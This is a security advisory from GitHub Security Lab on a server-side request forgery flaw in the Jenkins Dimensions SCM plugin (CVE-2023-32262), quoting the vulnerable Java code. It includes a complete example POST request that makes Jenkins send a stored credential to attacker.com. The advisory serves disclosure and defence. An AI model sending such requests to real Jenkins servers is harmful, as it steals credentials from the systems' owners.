Coordinated Disclosure Timeline
- 2023-04-18: Issue reported to the Jenkins security team
- 2023-04-21: Issue is acknowledged
- 2023-06-14: Advisory published
Summary
A Server-Side Request Forgery (SSRF) vulnerability in jenkinsci/dimensionsscm-plugin
allows the leak of sensitive credentials to an attacker-controlled server. The issue arises from a lack of proper input validation/sanitization of the dimensionsscm.serverPlugin
parameter in the DimensionsScm#doCheckServerConfig
method and the ACL.System
access to the credentials storage.
Product
dimensionsscm-plugin Jenkins plugin
Tested Version
Details
Arbitrary secret leakage via SSRF (GHSL-2023-070
)
The hudson.plugins.dimensionsscm.DimensionsSCM$DescriptorImpl#doCheckServerGlobal
method does not validate/sanitize the input from the dimensionsscm.serverPlugin
query parameter, enabling low-privileges attackers to leverage the SSRF vulnerability to leak arbitrary secret credentials.
Affected source code: DimensionsSCM.java
@RequirePOST
public FormValidation doCheckServerGlobal(final StaplerRequest req, final StaplerResponse rsp,
@QueryParameter("credentialsId") final String credentialsId,
@QueryParameter("credentialsType") final String credentialsType,
@QueryParameter("dimensionsscm.userName") final String user,
@QueryParameter("dimensionsscm.passwd") final String passwd,
@QueryParameter("dimensionsscm.serverUser") final String serverUser,
@QueryParameter("dimensionsscm.serverPlugin") final String serverPlugin,
@QueryParameter("dimensionsscm.databaseUser") final String databaseUser,
@QueryParameter("dimensionsscm.databasePlugin") final String databasePlugin,
@AncestorInPath final Item item) {
String xuser = null;
String xpasswd = null;
String xserver = null;
String xdatabase = null;
if (Credentials.isPluginDefined(credentialsType)) {
UsernamePasswordCredentials credentials = initializeCredentials(credentialsId);
if (credentials != null) {
xuser = credentials.getUsername();
xpasswd = credentials.getPassword().getPlainText();
}
xserver = serverPlugin;
xdatabase = databasePlugin;
} else if (Credentials.isUserDefined(credentialsType)) {
xuser = user;
xpasswd = passwd;
xserver = serverUser;
xdatabase = databaseUser;
}
return checkServer(item, xuser, xpasswd, xserver, xdatabase);
}
In order to exploit the vulnerability, the attacker needs to send a request to Jenkins specifying the secret to be read and the server to send it to. For example, to leak the FLAG
credential to attacker.com
the authenticated attacker would need to send the following request:
POST /jenkins/job/<JOB>/descriptorByName/hudson.plugins.dimensionsscm.DimensionsSCM/checkServerGlobal?dimensionsscm.serverPlugin=https%3A%2F%2Fattacker.com&dimensionsscm.databasePlugin=foo&credentialsId=FLAG&credentialsType=pluginDefined HTTP/1.1
Host: localhost:8080
Content-Length: 0
Jenkins-Crumb: 510034da8d86528bb0c1cc84d063deb09d1504f1cb2712bf3c9d0035ef090335
Cookie: JSESSIONID.b304270b=node01rzk92vozkl5913c3c4gujx17y14.node0; jenkins-timestamper-offset=-7200000; screenResolution=1728x1117
Connection: close
The code responsible to read the arbitrary credentials is:
private static UsernamePasswordCredentials initializeCredentials(final String credentialsId) {
UsernamePasswordCredentials credentials = null;
if (credentialsId != null && !credentialsId.isEmpty()) {
Item dummy = null;
credentials = CredentialsMatchers.firstOrNull(
CredentialsProvider.lookupCredentials(
UsernamePasswordCredentials.class, dummy, ACL.SYSTEM,
Collections.<DomainRequirement>emptyList()),
CredentialsMatchers.allOf(
CredentialsMatchers.withId(credentialsId))
);
}
return credentials;
}
Note that regardless of the user privileges, the credentials are read with ACL.SYSTEM
permissions.
Once the credentials are retrieved, they are sent to the attacker-controlled server in checkServer
private FormValidation checkServer(final Item item, final String xuser, final String xpasswd, final String xserver, final String xdatabase) {
if (item == null) {
Jenkins.get().checkPermission(Jenkins.ADMINISTER);
} else {
item.checkPermission(Item.CONFIGURE);
}
final DimensionsAPI connectionCheck = newDimensionsAPIWithCheck();
try {
if (xpasswd == null || xuser == null) {
return FormValidation.error("User name and password must be specified.");
}
Logger.debug("Server connection check to user [" + xuser
+ "], database [" + xdatabase + "], server [" + xserver + "]");
final long key = connectionCheck.login(xuser, Secret.fromString(xpasswd), xdatabase, xserver);
Logger.debug("Server connection check returned key [" + key + "]");
if (key < 1L) {
return FormValidation.error("Connection test failed");
} else {
connectionCheck.logout(key);
return FormValidation.ok("Connection test succeeded!");
}
} catch (Exception e) {
final String message = Values.exceptionMessage("Server connection check error", e, "no message");
Logger.debug(message, e);
return FormValidation.error(message);
}
}
}
Note that the attacker still needs to have Job/Configure
permissions to be able to leak the credentials.
Impact
This vulnerability can lead to sensitive secret credentials leak.
CVE
- CVE-2023-32262
Resources
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-070
in any communication regarding this issue.